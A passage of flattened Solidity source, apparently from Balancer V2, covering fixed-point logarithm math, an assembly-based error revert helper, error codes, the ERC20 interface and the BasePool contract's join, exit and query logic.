return (logArg * ONE_18) / logBase;
}
/**
* @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function ln(int256 a) internal pure returns (int256) {
// The real natural logarithm is not defined for negative numbers or zero.
_require(a > 0, Errors.OUT_OF_BOUNDS);
if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) {
return _ln_36(a) / ONE_18;
} else {
return _ln(a);
}
}
/**
* @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function _ln(int256 a) private pure returns (int256) {
if (a < ONE_18) {
// Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less
// than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.
// Fixed point division requires multiplying by ONE_18.
return (-_ln((ONE_18 * ONE_18) / a));
}
// First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which
// we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,
// ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot
// be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.
// At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this
// decomposition, which will be lower than the smallest a_n.
// ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.
// We mutate a by subtracting a_n, making it the remainder of the decomposition.
// For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point
// numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by
// ONE_18 to convert them to fixed point.
// For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide
// by it and compute the accumulated sum.
int256 sum = 0;
if (a >= a0 * ONE_18) {
a /= a0; // Integer, not fixed point division
sum += x0;
}
if (a >= a1 * ONE_18) {
a /= a1; // Integer, not fixed point division
sum += x1;
}
// All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.
sum *= 100;
a *= 100;
// Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.
if (a >= a2) {
a = (a * ONE_20) / a2;
sum += x2;
}
if (a >= a3) {
a = (a * ONE_20) / a3;
sum += x3;
}
if (a >= a4) {
a = (a * ONE_20) / a4;
sum += x4;
}
if (a >= a5) {
a = (a * ONE_20) / a5;
sum += x5;
}
if (a >= a6) {
a = (a * ONE_20) / a6;
sum += x6;
}
if (a >= a7) {
a = (a * ONE_20) / a7;
sum += x7;
}
if (a >= a8) {
a = (a * ONE_20) / a8;
sum += x8;
}
if (a >= a9) {
a = (a * ONE_20) / a9;
sum += x9;
}
if (a >= a10) {
a = (a * ONE_20) / a10;
sum += x10;
}
if (a >= a11) {
a = (a * ONE_20) / a11;
sum += x11;
}
// a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series
// that converges rapidly for values of `a` close to one - the same one used in ln_36.
// Let z = (a - 1) / (a + 1).
// ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires
// division by ONE_20.
int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);
int256 z_squared = (z * z) / ONE_20;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_20;
seriesSum += num / 3;
num = (num * z_squared) / ONE_20;
seriesSum += num / 5;
num = (num * z_squared) / ONE_20;
seriesSum += num / 7;
num = (num * z_squared) / ONE_20;
seriesSum += num / 9;
num = (num * z_squared) / ONE_20;
seriesSum += num / 11;
// 6 Taylor terms are sufficient for 36 decimal precision.
// Finally, we multiply by 2 (non fixed point) to compute ln(remainder)
seriesSum *= 2;
// We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both
// with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal
// value.
return (sum + seriesSum) / 100;
}
/**
* @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,
* for x close to one.
*
* Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.
*/
function _ln_36(int256 x) private pure returns (int256) {
// Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits
// worthwhile.
// First, we transform x to a 36 digit fixed point value.
x *= ONE_18;
// We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).
// ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires
// division by ONE_36.
int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);
int256 z_squared = (z * z) / ONE_36;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_36;
seriesSum += num / 3;
num = (num * z_squared) / ONE_36;
seriesSum += num / 5;
num = (num * z_squared) / ONE_36;
seriesSum += num / 7;
num = (num * z_squared) / ONE_36;
seriesSum += num / 9;
num = (num * z_squared) / ONE_36;
seriesSum += num / 11;
num = (num * z_squared) / ONE_36;
seriesSum += num / 13;
num = (num * z_squared) / ONE_36;
seriesSum += num / 15;
// 8 Taylor terms are sufficient for 36 decimal precision.
// All that remains is multiplying by 2 (non fixed point).
return seriesSum * 2;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// solhint-disable
/**
* @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are
* supported.
*/
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
/**
* @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported.
*/
function _revert(uint256 errorCode) pure {
// We're going to dynamically create a revert string based on the error code, with the following format:
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a
// number (8 to 16 bits) than the individual string characters.
//
// The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a
// much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999
// range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string. The "BAL#" part is a known constant
// (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits
// per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte
// array).
let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
// Next is the offset to the location of the string, which will be placed immediately after (20 bytes away).
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
uint256 internal constant NOT_TWO_TOKENS = 210;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312;
uint256 internal constant ORACLE_NOT_INITIALIZED = 313;
uint256 internal constant ORACLE_QUERY_TOO_OLD = 314;
uint256 internal constant ORACLE_INVALID_INDEX = 315;
uint256 internal constant ORACLE_BAD_SECS = 316;
uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317;
uint256 internal constant AMP_ONGOING_UPDATE = 318;
uint256 internal constant AMP_RATE_TOO_HIGH = 319;
uint256 internal constant AMP_NO_ONGOING_UPDATE = 320;
uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321;
uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322;
uint256 internal constant RELAYER_NOT_CONTRACT = 323;
uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324;
uint256 internal constant REBALANCING_RELAYER_REENTERED = 325;
uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326;
uint256 internal constant SWAPS_DISABLED = 327;
uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328;
uint256 internal constant PRICE_RATE_OVERFLOW = 329;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
uint256 internal constant CALLER_IS_NOT_OWNER = 426;
uint256 internal constant NEW_OWNER_IS_ZERO = 427;
uint256 internal constant CODE_DEPLOYMENT_FAILED = 428;
uint256 internal constant CALL_TO_NON_CONTRACT = 429;
uint256 internal constant LOW_LEVEL_CALL_FAILED = 430;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol";
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/TemporarilyPausable.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IBasePool.sol";
import "@balancer-labs/v2-asset-manager-utils/contracts/IAssetManager.sol";
import "./BalancerPoolToken.sol";
import "./BasePoolAuthorization.sol";
// solhint-disable max-states-count
/**
* @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with optional
* Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism.
*
* Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that
* derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the
* `whenNotPaused` modifier.
*
* No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer.
*
* Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from
* BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces
* and implement the swap callbacks themselves.
*/
abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable {
using WordCodec for bytes32;
using FixedPoint for uint256;
uint256 private constant _MIN_TOKENS = 2;
// 1e18 corresponds to 1.0, or a 100% fee
uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001%
uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10%
uint256 private constant _MINIMUM_BPT = 1e6;
// Storage slot that can be used to store unrelated pieces of information. In particular, by default is used
// to store only the swap fee percentage of a pool. But it can be extended to store some more pieces of information.
// The swap fee percentage is stored in the most-significant 64 bits, therefore the remaining 192 bits can be
// used to store any other piece of information.
bytes32 private _miscData;
uint256 private constant _SWAP_FEE_PERCENTAGE_OFFSET = 192;
IVault private immutable _vault;
bytes32 private immutable _poolId;
event SwapFeePercentageChanged(uint256 swapFeePercentage);
constructor(
IVault vault,
IVault.PoolSpecialization specialization,
string memory name,
string memory symbol,
IERC20[] memory tokens,
address[] memory assetManagers,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
// Base Pools are expected to be deployed using factories. By using the factory address as the action
// disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for
// simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in
// any Pool created by the same factory), while still making action identifiers unique among different factories
// if the selectors match, preventing accidental errors.
Authentication(bytes32(uint256(msg.sender)))
BalancerPoolToken(name, symbol)
BasePoolAuthorization(owner)
TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration)
{
_require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS);
_require(tokens.length <= _getMaxTokens(), Errors.MAX_TOKENS);
// The Vault only requires the token list to be ordered for the Two Token Pools specialization. However,
// to make the developer experience consistent, we are requiring this condition for all the native pools.
// Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same
// order. We rely on this property to make Pools simpler to write, as it lets us assume that the
// order of token-specific parameters (such as token weights) will not change.
InputHelpers.ensureArrayIsSorted(tokens);
_setSwapFeePercentage(swapFeePercentage);
bytes32 poolId = vault.registerPool(specialization);
vault.registerTokens(poolId, tokens, assetManagers);
// Set immutable state variables - these cannot be read from during construction
_vault = vault;
_poolId = poolId;
}
// Getters / Setters
function getVault() public view returns (IVault) {
return _vault;
}
function getPoolId() public view override returns (bytes32) {
return _poolId;
}
function _getTotalTokens() internal view virtual returns (uint256);
function _getMaxTokens() internal pure virtual returns (uint256);
function getSwapFeePercentage() public view returns (uint256) {
return _miscData.decodeUint64(_SWAP_FEE_PERCENTAGE_OFFSET);
}
function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused {
_setSwapFeePercentage(swapFeePercentage);
}
function _setSwapFeePercentage(uint256 swapFeePercentage) private {
_require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE);
_require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE);
_miscData = _miscData.insertUint64(swapFeePercentage, _SWAP_FEE_PERCENTAGE_OFFSET);
emit SwapFeePercentageChanged(swapFeePercentage);
}
function setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig)
public
virtual
authenticate
whenNotPaused
{
_setAssetManagerPoolConfig(token, poolConfig);
}
function _setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) private {
bytes32 poolId = getPoolId();
(, , , address assetManager) = getVault().getPoolTokenInfo(poolId, token);
IAssetManager(assetManager).setConfig(poolId, poolConfig);
}
function setPaused(bool paused) external authenticate {
_setPaused(paused);
}
function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) {
return
(actionId == getActionId(this.setSwapFeePercentage.selector)) ||
(actionId == getActionId(this.setAssetManagerPoolConfig.selector));
}
function _getMiscData() internal view returns (bytes32) {
return _miscData;
}
/**
* Inserts data into the least-significant 192 bits of the misc data storage slot.
* Note that the remaining 64 bits are used for the swap fee percentage and cannot be overloaded.
*/
function _setMiscData(bytes32 newData) internal {
_miscData = _miscData.insertBits192(newData, 0);
}
// Join / Exit Hooks
modifier onlyVault(bytes32 poolId) {
_require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT);
_require(poolId == getPoolId(), Errors.INVALID_POOL_ID);
_;
}
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory scalingFactors = _scalingFactors();
if (totalSupply() == 0) {
(uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(
poolId,
sender,
recipient,
scalingFactors,
userData
);
// On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum
// as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from
// ever being fully drained.
_require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT);
_mintPoolTokens(address(0), _MINIMUM_BPT);
_mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT);
// amountsIn are amounts entering the Pool, so we round up.
_downscaleUpArray(amountsIn, scalingFactors);
return (amountsIn, new uint256[](_getTotalTokens()));
} else {
_upscaleArray(balances, scalingFactors);
(uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
// Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it.
_mintPoolTokens(recipient, bptAmountOut);
// amountsIn are amounts entering the Pool, so we round up.
_downscaleUpArray(amountsIn, scalingFactors);
// dueProtocolFeeAmounts are amounts exiting the Pool, so we round down.
_downscaleDownArray(dueProtocolFeeAmounts, scalingFactors);
return (amountsIn, dueProtocolFeeAmounts);
}
}
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);
(uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
// Note we no longer use `balances` after calling `_onExitPool`, which may mutate it.
_burnPoolTokens(sender, bptAmountIn);
// Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down.
_downscaleDownArray(amountsOut, scalingFactors);
_downscaleDownArray(dueProtocolFeeAmounts, scalingFactors);
return (amountsOut, dueProtocolFeeAmounts);
}
// Query functions
/**
* @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the
* Vault with the same arguments, along with the number of tokens `sender` would have to supply.
*
* This function is not meant to be called directly, but rather from a helper contract that fetches current Vault
* data, such as the protocol swap fee percentage and Pool balances.
*
* Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must
* explicitly use eth_call instead of eth_sendTransaction.
*/
function queryJoin(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptOut, uint256[] memory amountsIn) {
InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens());
_queryAction(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData,
_onJoinPool,
_downscaleUpArray
);
// The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement,
// and we don't need to return anything here - it just silences compiler warnings.
return (bptOut, amountsIn);
}
/**
* @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the
* Vault with the same arguments, along with the number of tokens `recipient` would receive.
*
* This function is not meant to be called directly, but rather from a helper contract that fetches current Vault
* data, such as the protocol swap fee percentage and Pool balances.
*
* Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must
* explicitly use eth_call instead of eth_sendTransaction.
*/
function queryExit(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptIn, uint256[] memory amountsOut) {
InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens());
_queryAction(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData,
_onExitPool,
_downscaleDownArray
);
// The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement,
// and we don't need to return anything here - it just silences compiler warnings.
return (bptIn, amountsOut);
}
// Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are
// upscaled.
/**
* @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero.
*
* Returns the amount of BPT to mint, and the token amounts the Pool will receive in return.
*
* Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent
* to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from
* ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's
* lifetime.
*
* The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will
* be downscaled (rounding up) before being returned to the Vault.
*/
function _onInitializePool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory scalingFactors,
bytes memory userData
) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn);
/**
* @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`).
*
* Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of
* tokens to pay in protocol swap fees.
*
* Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when
* performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely.
*
* Minted BPT will be sent to `recipient`.
*
* The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will
* be downscaled (rounding up) before being returned to the Vault.
*
* Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These
* amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault.
*/
